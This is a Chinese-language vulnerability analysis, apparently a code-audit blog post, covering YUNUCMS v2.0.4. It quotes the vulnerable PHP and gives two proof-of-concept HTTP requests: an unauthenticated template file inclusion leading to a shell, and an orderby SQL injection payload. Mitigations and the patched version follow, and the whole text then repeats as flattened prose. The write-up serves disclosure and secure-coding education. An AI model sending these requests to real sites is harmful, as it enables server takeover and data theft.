YUNUCMSv2.0.4代码审计日常分享
字数 1020 2025-08-18 11:39:04

YUNUCMS v2.0.4 安全漏洞分析与教学文档

1. 系统概述

YUNUCMS 是一款基于 ThinkPHP 开发的内容管理系统,在 v2.0.4 版本中存在多个安全漏洞,官方已在 v2.0.5 版本中修复这些问题。

2. 文件包含漏洞导致 Getshell

漏洞位置

  • 文件路径:app/index/controller/Index.php
  • 方法:buildHtml
  • 是否需要登录:否

漏洞分析

public function buildHtml($htmlfile = '', $htmlpath = '', $templateFile = '') {
    $content = $this->fetch($templateFile);
    $htmlpath = !empty($htmlpath) ? $htmlpath : APP_PATH . '/html';
    $htmlfile = $htmlpath . $htmlfile . '.html';
    $dir = dirname($htmlfile);
    if(file_put_contents($htmlfile, $content) === false) {
        return false;
    } else {
        return true;
    }
}
  1. templateFile 参数可控,直接传入 fetch 函数
  2. fetch 函数最终会调用 think/Template.php 中的模板加载功能
  3. 系统会直接包含 templateFile 指定的文件

漏洞利用

POC:

POST /index.php?s=index/index/buildHtml HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

templateFile=./1.txt.jpg

利用条件

  • 攻击者需要能够上传包含恶意代码的文件到服务器
  • 文件内容可以是 PHP 代码,但扩展名不一定是 .php

防御措施

  1. 对传入的文件路径进行严格校验
  2. 限制包含的文件目录范围
  3. 检查文件扩展名和内容

3. SQL 注入漏洞

漏洞位置

  • 文件路径:app/api/controller/Master.php
  • 方法:api_list
  • 参数:orderby

漏洞分析

public function api_list() {
    $attr = input();
    $cid = !isset($attr['cid']) || $attr['cid'] ? 1 : $attr['cid'];
    $titlelen = empty($attr['titlelen']) ? 0 : intval($attr['titlelen']);
    
    if(empty($attr['orderby'])) {
        $orderby = "id DESC";
    } else {
        if(strpos($attr['orderby'], 'desc') !== false || strpos($attr['orderby'], 'asc') !== false) {
            $orderby = $attr['orderby']; // 如果包含desc/asc,即传入可控内容
        } else {
            $orderby = "id DESC";
        }
    }
    
    $_infolist = db('content')->where($_where)->order("$orderby")->limit(($pages-1)*$limit,$limit)->select();
}
  1. orderby 参数从用户输入直接获取
  2. 仅检查参数中是否包含 descasc,不进行其他过滤
  3. 参数直接拼接到 SQL 语句中执行

漏洞利用

POC:

POST /index.php?s=api/master/api_list HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

cid=29&titlelen=1&orderby=if(database()='yunucms1',id,cid)desc&keyword=%

其他受影响的方法

  • api_link
  • api_banner

防御措施

  1. 使用参数化查询或预处理语句
  2. orderby 参数进行白名单验证
  3. 限制可排序的字段范围

4. 漏洞修复建议

  1. 文件包含漏洞修复

    • 限制 templateFile 参数只能包含特定目录下的模板文件
    • 验证文件扩展名必须是合法的模板文件扩展名
  2. SQL注入漏洞修复

    • 使用框架提供的安全方法处理排序参数
    • 实现严格的参数过滤机制
    • 更新到官方最新版本 v2.0.5

5. 总结

YUNUCMS v2.0.4 版本中存在多个高危漏洞,攻击者可以利用这些漏洞进行文件包含攻击和 SQL 注入攻击,可能导致服务器被完全控制。开发者应及时更新到修复版本,并在开发过程中注意以下几点:

  1. 所有用户输入都应视为不可信的
  2. 文件操作要限制在指定目录范围内
  3. 数据库操作应使用参数化查询
  4. 实现严格的输入验证和输出编码

通过本教学文档,安全研究人员可以了解这些漏洞的成因和利用方式,开发者可以学习如何避免类似安全问题。

YUNUCMS v2.0.4 安全漏洞分析与教学文档 1. 系统概述 YUNUCMS 是一款基于 ThinkPHP 开发的内容管理系统,在 v2.0.4 版本中存在多个安全漏洞,官方已在 v2.0.5 版本中修复这些问题。 2. 文件包含漏洞导致 Getshell 漏洞位置 文件路径: app/index/controller/Index.php 方法: buildHtml 是否需要登录:否 漏洞分析 templateFile 参数可控,直接传入 fetch 函数 fetch 函数最终会调用 think/Template.php 中的模板加载功能 系统会直接包含 templateFile 指定的文件 漏洞利用 POC: 利用条件 攻击者需要能够上传包含恶意代码的文件到服务器 文件内容可以是 PHP 代码,但扩展名不一定是 .php 防御措施 对传入的文件路径进行严格校验 限制包含的文件目录范围 检查文件扩展名和内容 3. SQL 注入漏洞 漏洞位置 文件路径: app/api/controller/Master.php 方法: api_list 参数: orderby 漏洞分析 orderby 参数从用户输入直接获取 仅检查参数中是否包含 desc 或 asc ,不进行其他过滤 参数直接拼接到 SQL 语句中执行 漏洞利用 POC: 其他受影响的方法 api_link api_banner 防御措施 使用参数化查询或预处理语句 对 orderby 参数进行白名单验证 限制可排序的字段范围 4. 漏洞修复建议 文件包含漏洞修复 : 限制 templateFile 参数只能包含特定目录下的模板文件 验证文件扩展名必须是合法的模板文件扩展名 SQL注入漏洞修复 : 使用框架提供的安全方法处理排序参数 实现严格的参数过滤机制 更新到官方最新版本 v2.0.5 5. 总结 YUNUCMS v2.0.4 版本中存在多个高危漏洞,攻击者可以利用这些漏洞进行文件包含攻击和 SQL 注入攻击,可能导致服务器被完全控制。开发者应及时更新到修复版本,并在开发过程中注意以下几点: 所有用户输入都应视为不可信的 文件操作要限制在指定目录范围内 数据库操作应使用参数化查询 实现严格的输入验证和输出编码 通过本教学文档,安全研究人员可以了解这些漏洞的成因和利用方式,开发者可以学习如何避免类似安全问题。